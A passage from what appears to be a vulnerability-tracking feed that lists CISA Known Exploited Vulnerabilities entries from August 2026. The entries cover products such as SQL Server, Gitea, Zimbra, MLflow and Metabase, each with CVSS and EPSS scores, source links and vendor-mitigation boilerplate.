EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-8452: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8452&date=2026-10-25
CVE Program CNA NetScaler: https://cveawg.mitre.org/api/cve/CVE-2026-8452
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SQL Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-1068
Microsoft SQL Server Remote Code Execution Vulnerability (Aug 26, 2026).
Microsoft SQL Server contains a remote code execution vulnerability that could allow an attacker to execute code in the context of the SQL Server Database Engine service account.
CVSS 8.8 (version 3.1; evidence as of Aug 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2019-1068).
EPSS 57.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1068&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2019-1068
CISA added this entry on 2026-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 26, 2026; federal due date Aug 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gitea Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-60004
Gitea Code Injection Vulnerability (Aug 25, 2026).
Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account.
CVSS 9.8 (version 3.1; evidence as of Aug 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-60004).
EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-60004: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60004&date=2026-10-25
CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-60004
CISA added this entry on 2026-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 25, 2026; federal due date Aug 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2026-21962
Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in Improper Access Control Vulnerability (Aug 24, 2026).
Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in contain an improper access control vulnerability that can result in unauthorized creation, deletion or modification access to critical data as well as unauthorized access to critical data or complete access to all Oracle HTTP Server and Oracle Weblogic Server Proxy Plug-in accessible data.
CVSS 10.0 (version 3.1; evidence as of Jan 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-21962).
EPSS 73.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21962: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21962&date=2026-10-25
CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-21962
CISA added this entry on 2026-08-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 24, 2026; federal due date Aug 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-73570
Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability (Aug 21, 2026).
Zimbra Collaboration Suite (ZCS) contains an OS command injection vulnerability which could allow an unauthenticated attacker to send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.
CVSS 8.9 (version 3.1; evidence as of Aug 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-73570).
EPSS 71.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-73570: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73570&date=2026-10-25
CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-73570
CISA added this entry on 2026-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2026; federal due date Aug 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TrueConf Server Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-72530
TrueConf Server Code Injection Vulnerability (Aug 20, 2026).
TrueConf Server contains a code injection vulnerability that could allow an unauthorized remote attacker with network access via port 4307/TCP to use a specially crafted script to break out of the isolated environment and execute arbitrary code on the host system.
CVSS 9.5 (version 4.0; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72530).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-72530: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72530&date=2026-10-25
CVE Program CNA Kaspersky: https://cveawg.mitre.org/api/cve/CVE-2026-72530
CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 20, 2026; federal due date Sep 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TrueConf Server Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-72529
TrueConf Server Missing Authentication for Critical Function Vulnerability (Aug 20, 2026).
TrueConf Server contains a missing authentication for critical function vulnerability which could allow a remote unauthorized attacker with network access via port 4307/TCP to execute an arbitrary script.
CVSS 9.3 (version 4.0; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72529).
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-72529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72529&date=2026-10-25
CVE Program CNA Kaspersky: https://cveawg.mitre.org/api/cve/CVE-2026-72529
CISA added this entry on 2026-08-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 20, 2026; federal due date Aug 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### MLflow Server-Side Request Forgery Vulnerability
https://kevwire.com/record/CVE-2026-64849
MLflow Server-Side Request Forgery Vulnerability (Aug 17, 2026).
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-64849).
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25).
Sources:
NVD CVE-2026-64849: https://nvd.nist.gov/vuln/detail/CVE-2026-64849
Vendor advisory (via NVD references): https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
CISA KEV entry CVE-2026-64849: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 19, 2026; federal due date Sep 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability
https://kevwire.com/record/CVE-2026-33824
Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability (Aug 18, 2026).
Microsoft Internet Key Exchange (IKE) Service Extensions contains a double free vulnerability that could enable remote code execution.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-33824).
EPSS 77.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-33824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33824&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-33824
CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Broadcom VMware vCenter Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-59310
Broadcom VMware vCenter Path Traversal Vulnerability (Aug 18, 2026).
Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code.
CVSS 9.8 (version 3.1; evidence as of Jul 30, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-59310).
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-59310: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59310&date=2026-10-25
CVE Program CNA vmware: https://cveawg.mitre.org/api/cve/CVE-2026-59310
CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Weak Authentication Vulnerability
https://kevwire.com/record/CVE-2026-55040
Microsoft SharePoint Weak Authentication Vulnerability (Aug 18, 2026).
Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-55040).
EPSS 69.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-55040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55040&date=2026-10-25
CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-55040
CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-65400
Apple macOS Improper Authentication Vulnerability (Aug 18, 2026).
Apple macOS contains an improper authentication vulnerability that could allow an attacker on the network to authenticate to Screen Sharing without valid credentials.
CVSS 9.8 (version 3.1; evidence as of Aug 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-65400).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-65400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65400&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-65400
CISA added this entry on 2026-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2026; federal due date Aug 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ray-Project Ray Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-62593
Ray-Project Ray Code Injection Vulnerability (Aug 17, 2026).
Ray-Project Ray contains a code injection vulnerability that could allow remote code execution. Developers using Ray as a development tool may be exposed to this vulnerability exploitable through Firefox and Safari.
CVSS 9.4 (version 4.0; evidence as of Nov 26, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-62593).
EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-62593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62593&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2025-62593
CISA added this entry on 2026-08-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 17, 2026; federal due date Aug 20, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability
https://kevwire.com/record/CVE-2026-20349
Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability (Aug 11, 2026).
A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.&nbsp;

This vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20349).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25).
Sources:
NVD CVE-2026-20349: https://nvd.nist.gov/vuln/detail/CVE-2026-20349
Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
CISA KEV entry CVE-2026-20349: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20349&date=2026-10-25
A vulnerability in the Remote Access SSL VPN service for Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.&nbsp;

This vulnerability is due to insufficient error checking when processing HTTP requests. An attacker could exploit this vulnerability by sending a crafted HTTP request to the Remote Access SSL VPN service on an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 11, 2026; federal due date Aug 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2026-68820
Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability (Aug 11, 2026).
Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68820).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-68820: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
NVD CVE-2026-68820: https://nvd.nist.gov/vuln/detail/CVE-2026-68820
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68820
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68820&date=2026-10-25
CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 11, 2026; federal due date Aug 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Metabase SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-72898
Metabase SQL Injection Vulnerability (Aug 11, 2026).
Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal stored credentials for the connected databases, read any data accessible through those connections, and export data.
CVSS 10.0 (version 4.0; evidence as of Aug 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-72898).
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-72898: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72898&date=2026-10-25
CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-72898
CISA added this entry on 2026-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 11, 2026; federal due date Aug 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress LoadMaster Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-8037
Progress LoadMaster Command Injection Vulnerability (Aug 7, 2026).
Progress LoadMaster contains a command injection vulnerability that allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-8037).
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-8037: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8037&date=2026-10-25
CVE Program CNA ProgressSoftware: https://cveawg.mitre.org/api/cve/CVE-2026-8037
CISA added this entry on 2026-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
